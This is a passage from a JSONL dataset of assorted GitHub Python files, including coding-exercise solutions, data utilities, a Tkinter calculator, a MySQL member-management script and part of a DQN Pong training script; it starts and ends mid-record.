invalidate(x, y, fi, free_space):\n \"\"\"\n Check how much specified points violate the environment constraints\n \"\"\"\n crucial_points = calculate_car_crucial_points(x, y, fi)\n crucial_points = tf.stack(crucial_points, -2)\n\n penetration = dist(free_space, crucial_points)\n\n in_obstacle = tf.reduce_sum(penetration, -1)\n violation_level = tf.reduce_sum(in_obstacle, -1)\n\n # violation_level = integral(env.free_space, crucial_points)\n return violation_level\n\n#path = \"../../data/train/tunel/\"\n#path = \"../../data/val/tunel/\"\n#path = \"../../data/train/parkowanie_prostopadle/\"\n#path = \"../../data/val/parkowanie_prostopadle/\"\npath = \"../../TG_data/val/mix3/\"\n\ndef read_scn(scn_path):\n scn_path = os.path.join(path, scn_path)\n data = np.loadtxt(scn_path, delimiter=' ', dtype=np.float32)\n map = tf.reshape(data, (3, 4, 2))[tf.newaxis]\n res_path = scn_path[:-3] + \"scn\"\n data = np.loadtxt(res_path, delimiter=' ', dtype=np.float32)\n data = tf.reshape(data, (-1, 2, 3))\n data = tf.concat([data[:, :, 1:], data[:, :, :1]], axis=-1)\n p0, pk = tf.unstack(data, axis=1)\n return p0, pk, map, scn_path\n\n\nscenarios = [read_scn(f) for f in sorted(os.listdir(path)) if f.endswith(\".map\")]\n\nfor i, s in enumerate(scenarios):\n p0, pk, free_space, p = s\n\n x0, y0, fi0 = tf.unstack(p0[:, tf.newaxis], axis=-1)\n x1, y1, fi1 = tf.unstack(pk[:, tf.newaxis], axis=-1)\n\n #x0 = np.array(s[0][0])[:, np.newaxis]\n #y0 = np.array(s[0][1])[:, np.newaxis]\n #fi0 = np.array(s[0][2])[:, np.newaxis]\n\n #x1 = np.array([s[1][0] for s in scenarios])[:, np.newaxis]\n #y1 = np.array([s[1][1] for s in scenarios])[:, np.newaxis]\n #fi1 = np.array([s[1][2] for s in scenarios])[:, np.newaxis]\n #if i != 22: continue\n\n a0 = list(invalidate(x0, y0, fi0, free_space).numpy())\n a1 = list(invalidate(x1, y1, fi1, free_space).numpy())\n\n for k in range(len(a0)):\n if a0[k] > 0 or a1[k] > 0:\n print(p, k, \" \", a0[k], \" \", a1[k])\n _plot([x0, x1], [y0, y1], [fi0, fi1], s, i * 1000 + k, k)\n\n\n","repo_name":"pkicki/tisaf","sub_path":"dataset/validate_data.py","file_name":"validate_data.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"26216871121","text":"# https://leetcode.com/problems/delete-characters-to-make-fancy-string/\n# 1AC\n\nclass Solution:\n def makeFancyString(self, s: str) -> str:\n n = len(s)\n res = []\n i = 0\n while i < n:\n j = i + 1\n while j < n and s[i] == s[j]:\n j += 1\n\n cc = min(2, j - i)\n for _ in range(cc):\n res.append(s[i])\n\n i = j \n return ''.join(res)\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/1501-2000/1957_delete-characters-to-make-fancy-string_1_AC.py","file_name":"1957_delete-characters-to-make-fancy-string_1_AC.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"}
+{"seq_id":"19749543440","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# release 25-01-2019\nimport sys\nimport os\nfrom optparse import OptionParser\nfrom uaxls.xlsreader import XlsReader\nfrom pdb import set_trace\n\n\ndef do_main(file_xls, file_txt):\n xr = XlsReader()\n xr.open(file_xls)\n cols = xr.cols\n le = len(cols)\n fsql = open(file_txt, \"w+\")\n for i in range(0, le):\n # col = cols[i].encode(\"utf-8\")\n col = cols[i]\n # set_trace()\n # s = \"%s \" % (col)\n s = str(col)\n # s = s.encode(\"utf-8\")\n fsql.write(s)\n fsql.write(os.linesep)\n fsql.close()\n os.chmod(file_txt, 0o666)\n\n\nif __name__ == \"__main__\":\n parser = OptionParser()\n parser.add_option(\"-x\", \"--xls\")\n parser.add_option(\"-t\", \"--txt\")\n try:\n opts, args = parser.parse_args()\n except Exception:\n opts = None\n if opts is None or opts.txt is None or opts.xls is None:\n print (\"-x -t \")\n sys.exit(0)\n do_main(opts.xls, opts.txt)\n","repo_name":"gmaterni/pyutils","sub_path":"xls2columns.py","file_name":"xls2columns.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"447768459","text":"import lemmer_test_common\nimport pytest\nimport yatest.common\n\n\nOPTS = [\n [\"-c\", ],\n [\"-t\", ],\n [\"--spellcheck\", \"-c\", ],\n [\"-c\", \"-p\", ],\n [\"-c\", \"--trans\", ],\n]\n\n\n@pytest.mark.parametrize(\"opts\", OPTS, ids=[\"\".join(opts) for opts in OPTS])\ndef test_lemmer(opts):\n inp_path = lemmer_test_common.get_big_input()\n out_path = \"\".join(opts) + \".out\"\n\n return lemmer_test_common.exec_lemmer_cmd(opts, inp_path, out_path)\n\n\ndef test_lemmer_automorphology():\n opts = [\"-c\", \"-w\", \"-m\", \"est,eng\", \"-p\", \"--automorphology\", \"est=\" + yatest.common.binary_path(\"search/wizard/data/wizard/Automorphology/est\") + \"/\"]\n inp_path = lemmer_test_common.get_big_input()\n out_path = \"with_est_automorphology.out\"\n\n return lemmer_test_common.exec_lemmer_cmd(opts, inp_path, out_path)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"tools/lemmer-test/tests/test_lemmer.py","file_name":"test_lemmer.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2988949680","text":"class Solution:\n \"\"\"\n 使用对撞指针———— 一前一后两个指针(因为是有序数组),left, right\n 当两个指针所对应的两个数的和较小时,左指针往右移动,当和较大时,右指针往左移动;\n 当两个指针相撞仍为找到时,表示不存在\n \"\"\"\n def twoSum(self, nums: list, target: int) -> list:\n left, right = 0, len(nums)-1\n while left None:\n inputFile = open(input, \"r\", encoding=\"utf-8\")\n inputData = inputFile.read()\n inputFile.close()\n inputData = sanitize(inputData)\n\n # 問題の区切りはで行う\n ls = inputData.split(\"\")\n\n latestSections = Sections(patternSection)\n questionList: list[Question] = []\n\n preClose: str = \"{{\"\n postClose: str = \"}}\"\n commentSelector: str = \".comment\"\n\n for item in ls:\n latestSections = Sections.update(item, latestSections)\n questionList.append(Question(item, latestSections, preClose, postClose, commentSelector))\n\n outputData: str = \"\"\n\n for question in questionList:\n outputData = (\n outputData + question.toText() + \"\\n\"\n )\n\n print(outputData)\n outputFile = open(output, \"w\", encoding=\"utf-8\")\n outputFile.write(outputData)\n outputFile.close()\n\n\ndef to_output(input: str) -> str:\n input_path = os.path.dirname(input)\n output_path = input_path.replace(\"input\", \"output\")\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n return os.path.splitext(input)[0].replace(\"input\", \"output\") + \".txt\"\n\n\npatternSectionsList = {\n \"h\": [\"h1\", \"h2\", \"h3\", \"h4\"],\n \"law\": [\n \"#latTitle\",\n \"._div_PartTitle\",\n \"._div_ArticleCaption\",\n \"._div_ArticleTitle span\",\n ],\n}\nif __name__ == \"__main__\":\n args = sys.argv\n input = args[1]\n patternSections = patternSectionsList[args[2]]\n if os.path.isdir(input):\n for root, dirs, files in os.walk(top=input):\n for file in files:\n if not file.lower().endswith((\".html\")):\n continue\n filePath = os.path.join(root, file)\n print(f\"input file = {filePath}\")\n output = to_output(filePath)\n convert(filePath, output, patternSections)\n if os.path.isfile(input):\n output = to_output(input)\n convert(input, output, patternSections)\n","repo_name":"uesaiso/sompo_anki","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38497643608","text":"# === Imports ===\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# === Function ===\ndef pairs(k, arr):\n # === Preprocessing ===\n # Sort `arr`\n arr.sort()\n\n # === Obtain answer ===\n answer = 0\n\n # Hold the previous successful value of j. This is instantiated at 1 because we want j to begin counting from the first element of `arr` rather than the zeroth.\n previous_j = 0\n\n # Loop through `arr`\n for i in arr:\n\n for jx in range(previous_j, len(arr)): \n j = arr[jx]\n\n # We only run for which j > i, which translates to jx > ix due to `arr.sort()`. Thus, we skip all occurrences where `j <= i`.\n if j <= i:\n continue \n\n # We then run the subtraction, noting that j > i\n if j - i == k:\n answer += 1 \n\n # When this is incremented, we note that all i after this will require at least the next j. Thus, we let previous_j = jx + 1\n previous_j = jx + 1\n\n # We break the loop as there is only one unique answer per i\n break \n\n # We also note that if j - i > k, no other value of j will satisfy j - i == k\n if j - i > k:\n break\n\n return answer\n\n\n# Function to be called\ndef main(args):\n \"\"\"\n This is the main function to be called in test_functions.py.\n This should emulate the logic in HackerRank's if __name__ == '__main__' logic block and process #args# accordingly. \n\n Params\n ======\n args: str\n A single line string\n \"\"\"\n\n nk = input().split()\n \n n = int(nk[0])\n \n k = int(nk[1])\n \n arr = list(map(int, input().rstrip().split()))\n \n result = pairs(k, arr)\n \n fptr.write(str(result) + '\\n')\n \n\n\n# === Debug ===\ndef DEBUG(*args, **kwargs):\n \"\"\"\n If this function is not run directly, i.e. it is under test, this will take on the print statement. Otherwise, nothing happens. \n \"\"\"\n if __name__ != \"__main__\":\n print(*args, **kwargs)\n\n\n# === Mock ===\n# Mock fptr.write()\nclass Writer():\n def __init__(self):\n \"\"\"Initialises the list of answers.\"\"\"\n self.answers = []\n\n\n def write(self, string):\n \"\"\"Appends the string to a list, which is then accessed by the parent test function to check for equality of arguments.\n \n Params\n ======\n string: str\n The string to be appended to the list of answers.\n \"\"\"\n # Process the string to be appended, to remove the final newline character as added in main()\n li = string.rsplit('\\n', 1)\n\n self.answers.append(''.join(li))\n\n \n def get_answers(self): \n \"\"\"\n Returns the answers and resets it.\n\n Returns\n =======\n result: list of strings\n The answers to be returned.\n \"\"\"\n result = self.answers \n\n self.answers = []\n\n return result\n\n\n def close(self):\n pass\n \n\nfptr = Writer()\n\n# List of inputs\nlist_of_inputs = []\n\n# Sets inputs\ndef set_inputs(string):\n \"\"\"\n This function sets the inputs to be mocked by the input() function. \n The #string# passed is split by the newline character. Each element then makes up the argument called sequentially by input().\n \"\"\"\n global list_of_inputs\n\n list_of_inputs = string.split(\"\\n\")\n\n\n# Mocks the inputs\ndef input():\n \"\"\"\n Mocks the 'input()' function. \n If arguments is not None, it resets the arguments used. \n \"\"\"\n return list_of_inputs.pop(0)","repo_name":"KaShing96/hackerrank-challenges","sub_path":"medium/pairs/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3756621972","text":"\"\"\"\nmulti-process using parmap\n\nCreated On 9th Mar, 2020\nAuthor: bohang.li\n\"\"\"\nimport parmap\n\n\ndef fun(arg):\n print(arg)\n\n\narg = 1\ncpu_num = 10\nres = parmap.map(fun, arg, pm_processes=cpu_num, pm_pbar=True)\n","repo_name":"vandesa003/useful_python_codes","sub_path":"parmap.py","file_name":"parmap.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"39425457071","text":"import re\n\ndef hex_to_rgb(hex_color):\n color = hex_color.lstrip('#')\n rgb_color = tuple(int(color[i:i+2], 16) for i in (0, 2 ,4))\n return rgb_color\n\n\ndef rgb_to_hex(rgb):\n hex_color = \"\".join([format(val, '02X') for val in rgb])\n return f\"#{hex_color}\"\n\n\ndef rgb_to_rgba(rgb, opacity):\n \"\"\"\n Takes rgb tuple and opacity between 0-1 and return rgba tuple.\n \"\"\"\n color_rgba = rgb + (opacity,)\n return color_rgba\n\ndef rgb_to_rgba_string(rgb, opacity):\n \"\"\"\n Takes rgb tuple and opacity between 0-1 and return rgba tuple. Returns string version.\n \"\"\"\n color_rgba = rgb + (opacity,)\n return f\"rgba{color_rgba}\"\n\n\ndef rbga_to_rgb(rgba):\n \"\"\"\n Takes in tuple of (red, green, blue, opacity).\n Assumes background colour is white.\n \"\"\"\n BGColor = (255,255,255)\n\n r = ((1 - rgba[3]) * BGColor[0]) + (rgba[3] * rgba[0])\n g = ((1 - rgba[3]) * BGColor[1]) + (rgba[3] * rgba[1])\n b = ((1 - rgba[3]) * BGColor[2]) + (rgba[3] * rgba[2])\n rgb = (r,g,b)\n return rgb\n\n\ndef is_rgb(rgb: str) -> bool:\n \"\"\"\n Checks if it is in RGB format.\n :param rgb:\n :return:\n \"\"\"\n x = re.match('rgb?(\\(\\s*\\d+\\s*,\\s*\\d+\\s*,\\s*\\d+)(?:\\s*,.+?)?\\)', rgb)\n if x:\n return True\n if not x:\n return False\n\n\ndef standardize_colour(color_str: str) -> str:\n \"\"\"\n Checks if colour is in rgb and returns rgba version\n :param rgb:\n :return:\n \"\"\"\n\n if is_rgb(color_str):\n rgb_list_str = re.findall('[0-9]+', color_str)\n rgb_list_int = list(map(int, rgb_list_str))\n rgb_tuple_str = tuple(rgb_list_int)\n return rgb_to_rgba_string(rgb_tuple_str, 1)\n if not is_rgb(color_str):\n return color_str\n\n\nif __name__ == '__main__':\n # a = is_rgb('rgb(123, 123, 123)')\n # b = is_rgb('rgba(123, 123, 123, 1)')\n # print(a)\n # print(b)\n # print(standardize_colour('rgb(123, 123, 123)'))\n print(standardize_colour('rgba(123, 123, 123, 1)'))\n print(rgb_to_rgba_string('rgb(123, 123, 123)', 1))\n","repo_name":"WintonCentre/predict-v21-main","sub_path":"functional_tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"7857384402","text":"from calcmath import CalcMath\nfrom term import *\nimport math\nimport matplotlib.pyplot as plt\nimport tkinter as tk\nfrom pathlib import Path\nfrom playsound import playsound\nfrom expression import *\n\npath = Path(__file__).parent / 'voices/'\nparsing_string = \"\"\nsound = False\nfunc = \"\"\napp = tk.Tk()\ninputFrame = tk.Frame(app)\ninp = tk.Entry(inputFrame, width=22, font=(\"Comic Sans\", 22), justify=\"right\")\ninp.config(state=\"readonly\")\nfuncFrame = tk.Frame(app)\nfun = tk.Entry(funcFrame, width=22, font=(\"Comic Sans\", 22))\nfun.config(state=\"readonly\")\nhelpFrame = tk.Frame(app)\ndef silly():\n global sound\n sound = not(sound)\ndef plus():\n global parsing_string\n parsing_string += \" + \"\n update_gui()\n if(sound):\n playsound(f\"{path}/plus.wav\")\ndef minus():\n global parsing_string\n parsing_string += \" - \"\n update_gui()\n if(sound):\n playsound(f\"{path}/minus.wav\")\ndef times():\n global parsing_string\n parsing_string += \" * \"\n update_gui()\n if(sound):\n playsound(f\"{path}/times.wav\")\ndef divide():\n global parsing_string\n parsing_string += \" / \"\n update_gui()\n if(sound):\n playsound(f\"{path}/divided by.wav\")\ndef zero():\n global parsing_string\n parsing_string += \"0\"\n update_gui()\n if(sound):\n playsound(f\"{path}/0.wav\")\ndef one():\n global parsing_string\n parsing_string += \"1\"\n update_gui()\n if(sound):\n playsound(f\"{path}/1.wav\")\ndef two():\n global parsing_string\n parsing_string += \"2\"\n update_gui()\n if(sound):\n playsound(f\"{path}/2.wav\")\ndef three():\n global parsing_string\n parsing_string += \"3\"\n update_gui()\n if(sound):\n playsound(f\"{path}/3.wav\")\ndef four():\n global parsing_string\n parsing_string += \"4\"\n update_gui()\n if(sound):\n playsound(f\"{path}/4.wav\")\ndef five():\n global parsing_string\n parsing_string += \"5\"\n update_gui()\n if(sound):\n playsound(f\"{path}/5.wav\")\ndef six():\n global parsing_string\n parsing_string += \"6\"\n update_gui()\n if(sound):\n playsound(f\"{path}/6.wav\")\ndef seven():\n global parsing_string\n parsing_string += \"7\"\n update_gui()\n if(sound):\n playsound(f\"{path}/7.wav\")\ndef eight():\n global parsing_string\n parsing_string += \"8\"\n update_gui()\n if(sound):\n playsound(f\"{path}/8.wav\")\ndef nine():\n global parsing_string\n parsing_string += \"9\"\n update_gui()\n if(sound):\n playsound(f\"{path}/9.wav\")\ndef equals():\n global func\n global parsing_string\n print(parsing_string)\n if(sound):\n playsound(f\"{path}/is.wav\")\n expr_string = parsing_string\n parsing_string = \"\"\n update_gui()\n expr = parse(expr_string.split())\n print(expr)\n if(\"x\" in str(expr)):\n func = expr\n update_gui(\"Function set.\")\n fun.config(state=\"normal\")\n fun.delete(0, 'end')\n fun.insert(0, str(func))\n fun.config(state=\"readonly\")\n else:\n try:\n update_gui(expr.solve(0))\n read_ans(expr.solve(0))\n except:\n update_gui(\"error\")\n \ndef sin():\n global parsing_string\n parsing_string += \" s \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the sine of.wav\")\ndef cos():\n global parsing_string\n parsing_string += \" c \"\n update_gui()\n if(sound):\n playsound(f\"{path}/cosine.wav\")\ndef tan():\n global parsing_string\n parsing_string += \" t \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the tangent of.wav\")\ndef nl():\n global parsing_string\n parsing_string += \" ln \"\n update_gui()\n if(sound):\n playsound(f\"{path}/natural log.wav\")\ndef log():\n global parsing_string\n parsing_string += \" log \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the log base.wav\")\ndef exp():\n global parsing_string\n parsing_string += \" ^ \"\n update_gui()\n if(sound):\n playsound(f\"{path}/to the power of.wav\")\ndef point():\n global parsing_string\n parsing_string += \".\"\n update_gui()\n if(sound):\n playsound(f\"{path}/point.wav\")\ndef lparen():\n global parsing_string\n parsing_string += \" ( \"\n update_gui()\n if(sound):\n playsound(f\"{path}/paren.wav\")\ndef rparen():\n global parsing_string\n parsing_string += \" ) \"\n update_gui()\n if(sound):\n playsound(f\"{path}/paren.wav\")\ndef atan():\n global parsing_string\n parsing_string += \" at \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the inverse tangent of.wav\")\ndef e():\n global parsing_string\n parsing_string += str(CalcMath.e)\n update_gui()\n if(sound):\n playsound(f\"{path}/e.wav\")\ndef pi():\n global parsing_string\n parsing_string += str(CalcMath.PI)\n update_gui()\n if(sound):\n playsound(f\"{path}/pi.wav\")\ndef x():\n global parsing_string\n parsing_string += \" x \"\n update_gui()\n if(sound):\n playsound(f\"{path}/x.wav\")\ndef solve():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n ans = func.solve(int(expr_string))\n if(sound):\n playsound(f\"{path}/solve.wav\")\n update_gui(ans)\n read_ans(ans)\ndef deriv():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n ans = func.deriv_solve(int(expr_string))\n if(sound):\n playsound(f\"{path}/derivative.wav\")\n update_gui(ans)\n read_ans(ans)\ndef graph():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/graphing.wav\")\n update_gui()\n inputs = expr_string.split()\n fig, ax = plt.subplots()\n ax.spines['left'].set_position('center')\n ax.spines['bottom'].set_position('center')\n ax.spines['right'].set_color('none')\n ax.spines['top'].set_color('none')\n data = func.graph(int(inputs[0]), int(inputs[1]))\n print(data)\n x = data[0]\n # ax.set_xlim(xmin=-10, xmax=10)\n y = data[1]\n # ax.set_ylim(ymin=-10, ymax=10)\n ax.plot(x, y, linewidth=2)\n plt.show()\ndef integ():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/the integral of.wav\")\n inputs = expr_string.split()\n print(inputs)\n ans = func.integral_solve(int(inputs[0]), int(inputs[1]))\n update_gui(ans)\n read_ans(ans)\ndef roots():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/roots.wav\")\n ans = func.newtonsmethod(int(expr_string))\n update_gui(ans)\n read_ans(ans)\ndef space():\n global parsing_string\n parsing_string += \" \"\n update_gui()\n if(sound):\n playsound(f\"{path}/space.wav\")\ndef negate():\n global parsing_string\n parsing_string += \"-\"\n update_gui()\n if(sound):\n playsound(f\"{path}/negative.wav\")\ndef update_gui(toRender=None):\n global inp\n global parsing_string\n if(toRender == None):\n toRender = parsing_string\n inp.config(state=\"normal\")\n inp.delete(0, 'end')\n inp.insert(0, toRender)\n inp.config(state=\"readonly\")\ndef read_ans(ans):\n if(sound):\n for i in str(ans):\n if(i == \".\"):\n playsound(f\"{path}/point.wav\")\n elif(i == \"-\"):\n playsound(f\"{path}/negative.wav\")\n else:\n playsound(f\"{path}/{i}.wav\")\ndef help_out():\n print(\"Most of the calculator is self explanatory, but the function stuff is a little bit annoying to use.\\nWhen you input something containing x and hit =, your input is saved in the function bar (at the bottom). You can then do five operations with this function: solve at a value, find the derivative at a value, find the integral over a range, graph it over a range, or find the roots (starting at a value). To use any of these, simply type the required number of arguments (1 or 2) separated by a space into the calculator, and then press whichever button corresponds to the operation you want to perform.\\nSolve, derivative, and roots take 1 argument, and integral and graph take 2.\\n Example: \\n If I put x^2 into the calculator already, I can then type 2 and then hit the solve button. The calculator will return 4. If I put 2 4 and hit graph, the function will be graphed from x=2 to x=4. If I put 8 and hit roots, the function will try and find the root closest to 8.\")\n\nbuttonFrame = tk.Frame(app)\nbuttons = [\n tk.Button(buttonFrame, text=\"+\", command=plus, width=7, height=2), \n tk.Button(buttonFrame, text=\"7\", command=seven, width=7),\n tk.Button(buttonFrame, text=\"8\", command=eight, width=7),\n tk.Button(buttonFrame, text=\"9\", command=nine, width=7),\n tk.Button(buttonFrame, text=\"pi\", command=pi, width=7),\n tk.Button(buttonFrame, text=\"e\", command=e, width=7),\n tk.Button(buttonFrame, text=\"-\", command=minus, height=2),\n tk.Button(buttonFrame, text=\"4\", command=four),\n tk.Button(buttonFrame, text=\"5\", command=five),\n tk.Button(buttonFrame, text=\"6\", command=six),\n tk.Button(buttonFrame, text=\"ln\", command=nl),\n tk.Button(buttonFrame, text=\"log\", command=log),\n tk.Button(buttonFrame, text=\"*\", command=times, height=2),\n tk.Button(buttonFrame, text=\"1\", command=one),\n tk.Button(buttonFrame, text=\"2\", command=two),\n tk.Button(buttonFrame, text=\"3\", command=three),\n tk.Button(buttonFrame, text=\"space\", command=space),\n tk.Button(buttonFrame, text=\"^\", command=exp, width=7),\n tk.Button(buttonFrame, text=\"÷\", command=divide, height=2),\n tk.Button(buttonFrame, text=\"negate\", command=negate),\n tk.Button(buttonFrame, text=\"0\", command=zero),\n tk.Button(buttonFrame, text=\".\", command=point),\n tk.Button(buttonFrame, text=\"(\", command=lparen),\n tk.Button(buttonFrame, text=\")\", command=rparen),\n tk.Button(buttonFrame, text=\"=\", command=equals, height=2),\n tk.Button(buttonFrame, text=\"x\", command=x),\n tk.Button(buttonFrame, text=\"sin\", command=sin),\n tk.Button(buttonFrame, text=\"cos\", command=cos),\n tk.Button(buttonFrame, text=\"tan\", command=tan),\n tk.Button(buttonFrame, text=\"arctan\", command=atan),\n tk.Button(buttonFrame, text=\"???\", command=silly, height=2), \n tk.Button(buttonFrame, text=\"solve\", command=solve),\n tk.Button(buttonFrame, text=\"derivative\", command=deriv),\n tk.Button(buttonFrame, text=\"integral\", command=integ),\n tk.Button(buttonFrame, text=\"graph\", command=graph),\n tk.Button(buttonFrame, text=\"roots\", command=roots),\n tk.Button(helpFrame, text=\"help (outputs in console)\", command=help_out, width=50, height=2)\n]\n\ninputFrame.pack()\nbuttonFrame.pack()\nfuncFrame.pack()\nhelpFrame.pack()\ninp.grid()\nfun.grid()\nrow = 0\ncol = 0\nfor i in buttons:\n i.grid(row=row, column=col, sticky=\"nsew\")\n col += 1\n if(col == 6):\n row += 1\n col = 0\n# app.master.title('CalcCalc')\napp.mainloop()\n\n\n\n","repo_name":"Ca7Ac1/CalcCalc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31821214247","text":"#製作一個界面可以有顯示, 新增, 更新 和刪除會員資料\nimport pymysql, os, prettytable\n\nos.system(\"cls\")\nsetting_pass = input(\"請輸入資料庫的密碼:\")\nsetting_port = input(\"請輸入資料庫的port:\")\n\nif setting_port ==\"\":\n setting_port = 3306\nelse:\n setting_port = int(setting_port)\n\nlink = pymysql.connect(\n host =\"localhost\",\n user = \"root\",\n passwd = setting_pass,\n db=\"python_ai\",\n charset =\"utf8\",\n port = setting_port\n)\n\ncmd = -1\nos.system(\"cls\") #cmd下清空畫面\nc =link.cursor()\n\nwhile True: #while True是為了讓輸入錯誤的時候,不會就此停下程式而會持續循環到表單繼續可以操作\n if cmd == \"0\":\n break\n elif cmd ==\"1\":\n t = prettytable.PrettyTable([\"id\", \"name\", \"birthday\", \"address\"], encoding=\"utf8\")\n c.execute(\"SELECT * FROM `member`\")\n n = c.rowcount\n for i in range(0,n):\n r = c.fetchone()\n t.add_row([str(r[0]), r[1], r[2], r[3]])\n t.align[\"name\"]=\"l\"\n t.align[\"birthday\"]=\"l\"\n t.align[\"address\"]=\"l\"\n print(t)\n\n elif cmd == \"2\":\n name_ = input(\"請輸入name:\")\n bir_ = input(\"請輸入birthday:\")\n address_ = input(\"請輸入address:\")\n\n c.execute(\n \"INSERT INTO `member`(`name`, `birthday`, `address`) \"+\n \"VALUES(%s,%s,%s)\",(name_, bir_, address_) #讀取外面資訊到%s裏面時的格式\n )\n link.commit()\n elif cmd ==\"3\":\n par = {\n \"id\":input(\"輸入你要修改資料的id:\"),\n \"nam\":input(\"輸入名字:\"),\n \"bir\":input(\"輸入生日:\"),\n \"add\":input(\"輸入地址:\")}\n c.execute(\n \"UPDATE `member` SET \"+\n \"`id`=%(id)s, `name`=%(nam)s, `birthday`=%(bir)s, `address`=%(add)s WHERE `id`=%(id)s;\"\n , par)\n link.commit()\n elif cmd ==\"4\":\n par = {\n \"id\":input(\"輸入要刪除的id:\")\n }\n c.execute(\n \"DELETE FROM `member` WHERE `id`=%(id)s\", par)\n link.commit()\n\n print(\"(0) 離開程式:\")\n print(\"(1) 顯示會員列表:\")\n print(\"(2) 新增會員資料:\")\n print(\"(3) 更新會員資料:\")\n print(\"(4) 刪除會員資料:\")\n cmd =input(\"指令\")\n os.system(\"cls\")\n\nlink.close()","repo_name":"Nier1112/tibame_AI02","sub_path":"MYSQL/XAMMP_0407.py","file_name":"XAMMP_0407.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"34825322860","text":"from parl.utils import logger\nfrom model import Model\nfrom agent import Agent\nfrom replay_memory import ReplayMemory\nfrom parl.algorithms import DQN\nimport numpy as np\nimport os\nimport gym\nimport parl\nimport paddle\n# assert paddle.__version__ == \"2.3.1\", \"[Version WARNING] please try `pip install paddlepaddle==2.2.0`\"\n# assert parl.__version__ == \"2.0.4\", \"[Version WARNING] please try `pip install parl==2.0.3`\"\n# assert gym.__version__ == \"0.18.0\", \"[Version WARNING] please try `pip install gym==0.18.0`\"\n\n\nLEARN_FREQ = 10 # 训练频率,不需要每一个step都learn,攒一些新增经验后再learn,提高效率\nMEMORY_SIZE = int(2e5) # replay memory的大小,越大越占用内存\nMEMORY_WARMUP_SIZE = 200 # replay_memory 里需要预存一些经验数据,再从里面sample一个batch的经验让agent去learn\nBATCH_SIZE = 128 # 每次给agent learn的数据数量,从replay memory随机里sample一批数据出来\nLEARNING_RATE = 5e-4 # 学习率\nGAMMA = 0.99 # reward 的衰减因子,一般取 0.9 到 0.999 不等,原值 0.99\nTRAIN_EPISODE = 2000\n\nOBS_DIM_SIZE = [80, 80]\nSAVE_PATH = \"./dqn_model.ckpt\"\n\n# 训练一个episode\ndef run_train_episode(agent, env, rpm):\n total_reward = 0\n obs = env.reset()\n step = 0\n obs = to_features(obs) # 加入的特征转换\n reward_step = 0\n while True:\n step += 1\n\n action = agent.sample(obs) # 采样动作,所有动作都有概率被尝试到\n next_obs, reward, done, info = env.step(action)\n next_obs = to_features(next_obs) # 加入的特征转换\n\n # 调整的奖励规则,开始\n reward_step += 1\n if reward == 1:\n reward = 10 + reward_step * 0.1\n reward_step = 0\n elif reward == -1:\n reward = -10 - reward_step * 0.1\n reward_step = 0\n else:\n reward -= 0.1\n # 调整的奖励规则,结束\n\n rpm.append((obs, action, reward, next_obs, done))\n\n # train model\n if (len(rpm) > MEMORY_WARMUP_SIZE) and (step % LEARN_FREQ == 0):\n # s,a,r,s',done\n (batch_obs, batch_action, batch_reward, batch_next_obs,\n batch_done) = rpm.sample(BATCH_SIZE)\n train_loss = agent.learn(batch_obs, batch_action, batch_reward,\n batch_next_obs, batch_done)\n\n total_reward += reward\n obs = next_obs\n if done:\n break\n return total_reward\n\n\n# 评估 agent, 跑 5 个episode,总reward求平均\ndef run_evaluate_episodes(agent, env, render=False):\n eval_reward = []\n for i in range(5):\n obs = env.reset()\n total_reward = 0\n steps = 0\n obs = to_features(obs) # 加入的特征转换\n while True:\n action = agent.predict(obs) # 预测动作,只选最优动作\n steps += 1\n next_obs, reward, done, info = env.step(action)\n obs = to_features(next_obs) # 加入的特征转换\n total_reward += reward\n if render:\n env.render()\n # if done or steps >= 200:\n if done:\n break\n eval_reward.append(total_reward)\n return np.mean(eval_reward)\n\n\ndef to_features(image):\n \"\"\" 预处理 210x160x3 uint8 frame into 6400 (80x80) 1维 float vector \"\"\"\n # 就是当前场景(obs)的特征提取\n image = image[35:195] # 裁剪\n image = image[::2, ::2, 0] # 下采样,缩放2倍\n image[image == 144] = 0 # 擦除背景 (background type 1)\n image[image == 109] = 0 # 擦除背景 (background type 2)\n image[image != 0] = 1 # 转为灰度图,除了黑色外其他都是白色\n image = 